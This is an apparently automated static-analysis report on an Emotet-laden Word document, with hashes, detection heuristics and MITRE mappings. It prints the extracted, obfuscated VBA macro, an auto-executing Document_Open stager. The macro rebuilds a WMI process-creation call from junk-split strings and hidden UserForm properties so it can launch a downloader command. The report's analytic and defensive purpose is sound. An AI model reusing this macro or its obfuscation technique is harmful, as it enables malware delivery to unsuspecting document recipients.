Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 080138d1e0b1b30c…

MALICIOUS

Office (OLE)

174.1 KB Created: 2020-07-31 10:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 373197cbb335e799f6bd083c19ef40df SHA-1: 7bf3812037b29575dfbdb1ea086766d6b546d553 SHA-256: 080138d1e0b1b30c9251e6aa2467689804143563243d0fedf4f60f5065e7e1a3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. This macro utilizes CreateObject and a hidden UserForm property to act as a command stager, a common technique for Emotet to download and execute further malicious content. ClamAV also specifically identifies the file as Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9246062-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9246062-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5001 bytes
SHA-256: 1c243ec7b5af832654e3d15a8bab6cc0f543e32f0f8dc1b32249f49f660b54b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DSPBUbmralqdhmj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
XKMNKuxsrbmhly.WGJQEjsyxtuswfym
End Sub


Attribute VB_Name = "XKMNKuxsrbmhly"
Attribute VB_Base = "0{7611AEEF-0F49-4337-9BC9-2F1814888329}{CBD9222E-4BCD-41AD-B810-96D983EBBD69}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function WGJQEjsyxtuswfym()
Dim JUm3Y4Áv0ÕA As Integer
JUm3Y4Áv0ÕA = 4
Do While JUm3Y4Áv0ÕA < 4 + 8
JUm3Y4Áv0ÕA = JUm3Y4Áv0ÕA + 8: DoEvents
Loop
Dim qJfMXTsq As String
qJfMXTsq = Replace$("SV0ÄLNTNcMX", "SV0ÄLNT", "mU8àEA")
Dim BwQyi As String
BwQyi = Replace$("SHGy8ÅTZUh2àfw5Çjh", "SHGy8ÅTZU", "JMEbC")
USYODapmtjisibkrnm = Chr(XKMNKuxsrbmhly.Zoom + ((50 + 50 + 20) / 8))
Dim IKm1ÚK As Integer
IKm1ÚK = 5
Do While IKm1ÚK < 5 + 7
IKm1ÚK = IKm1ÚK + 4: DoEvents
Loop
QYVVUtvavlxuhlmobme = "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddi0202093hui87(*Yhshhshs303030ddnm0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddgm0202093hui87(*Yhshhshs303030ddt0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd" + USYODapmtjisibkrnm + "0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd:0202093hui87(*Yhshhshs303030ddw0202093hui87(*Yhshhshs303030ddin0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030dd30202093hui87(*Yhshhshs303030dd20202093hui87(*Yhshhshs303030dd_0202093hui87(*Yhshhshs303030dd" + XKMNKuxsrbmhly.PGHUKtpthermefuzu + "0202093hui87(*Yhshhshs303030ddro0202093hui87(*Yhshhshs303030dd0202093hui87(*Yhshhshs303030ddce0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dds0202093hui87(*Yhshhshs303030dd"
Dim cbSSJYfyE As String
cbSSJYfyE = Replace$("qCHAmOwKdYa", "qCHAmO", "ktbh")
GRKEVxhjfbmdbi = FDOWRkxovzkm(QYVVUtvavlxuhlmobme)
Dim Ff5Ë8 As Integer
Ff5Ë8 = 6
Do While Ff5Ë8 < 6 + 5
Ff5Ë8 = Ff5Ë8 + 8: DoEvents
Loop
Set SRPUSqnpgkfqbfrg = CreateObject(GRKEVxhjfbmdbi)
Dim NRK As String
NRK = Replace$("QAondeVoi4ËhF6", "QAondeV", "sSP7")
FKZPZbxxpntl = XKMNKuxsrbmhly.KNGRVpmtmyenfvczj.ControlTipText
Dim tTRG As String
tTRG = Replace$("JnZlI4ÓQ", "JnZl", "VCMJiSHGyy")
LJSEWfsnhngq = jdjjdjdjj + (GRKEVxhjfbmdbi + USYODapmtjisibkrnm + XKMNKuxsrbmhly.GPZFQciaohaw.ControlTipText + FKZPZbxxpntl)
Dim NWEbKjhI As Integer
NWEbKjhI = 2
Do While NWEbKjhI < 2 + 2
NWEbKjhI = NWEbKjhI + 3: DoEvents
Loop
KRDHBxlwhyxtwnkzkxs = LJSEWfsnhngq + XKMNKuxsrbmhly.PGHUKtpthermefuzu
Dim XFdLa As String
XFdLa = Replace$("XWMMET4ÖmQmUea0dZcG", "XWMMET4Öm", "T3SUj")
Set NRDQCmfafkze = JZCTMcrzxytctnzlrzv(KRDHBxlwhyxtwnkzkxs)
Dim ejcPcM As String
ejcPcM = Replace$("YPcUjcHRCN", "YPcUjcH", "udQAon")
j6j3nn3nb4 = Array("nxuih yhioasy ywww huwhd", SRPUSqnpgkfqbfrg. _
Create(QQORIviysymepbzlfqh, SSSMGkjvegqkwears, NRDQCmfafkze), "diuhuq hioqcdsf")
Dim IUoiXA As String
IUoiXA = Replace$("FlKsSPqpFqDWRFi", "FlKsSPqp", "GmLtTRGEgu")
End Function
Function JZCTMcrzxytctnzlrzv(ASDYDfvrzoqtla)
Set JZCTMcrzxytctnzlrzv = CreateObject(ASDYDfvrzoqtla)
Dim nVtcC0ÈHL As String
nVtcC0ÈHL = Replace$("XIUoiXAjhAf5ÑDWRFi3Äm", "XIUoiXAjhA", "NOb8ÄEg8l")
JZCTMcrzxytctnzlrzv.showwindow = YFXHDfksrkcfvpllauq + NYDHCypaxaodxuvv + LOMCNtyszkayldfadk
Dim qOuFCbL As String
qOuFCbL = Replace$("T4ÓotuCJkGBFv", "T4ÓotuC", "uKD")
End Function
Function FDOWRkxovzkm(XCEEFxdecytfrwhvj)
RRRWLiuvezge = XCEEFxdecytfrwhvj
Dim PFFvM As Integer
PFFvM = 7
Do While PFFvM < 7 + 4
PFFvM = PFFvM + 6: DoEvents
Loop
FGEHAcyqvdqhg = Split _
(RRRWLiuvezge, "0202093hui87(*Yhshhshs303030dd")
Dim JfMXTsqRQ As String
JfMXTsqRQ = Replace$("GLN3ÈNcgOmUtr", "GLN3ÈNc", "AD6à")
AIHARtmmuoit = mm6m6m6m + Join(FGEHAcyqvdqhg, o7o7oej5)
Dim Vy2yPnW As String
Vy2yPnW = Replace$
... (truncated)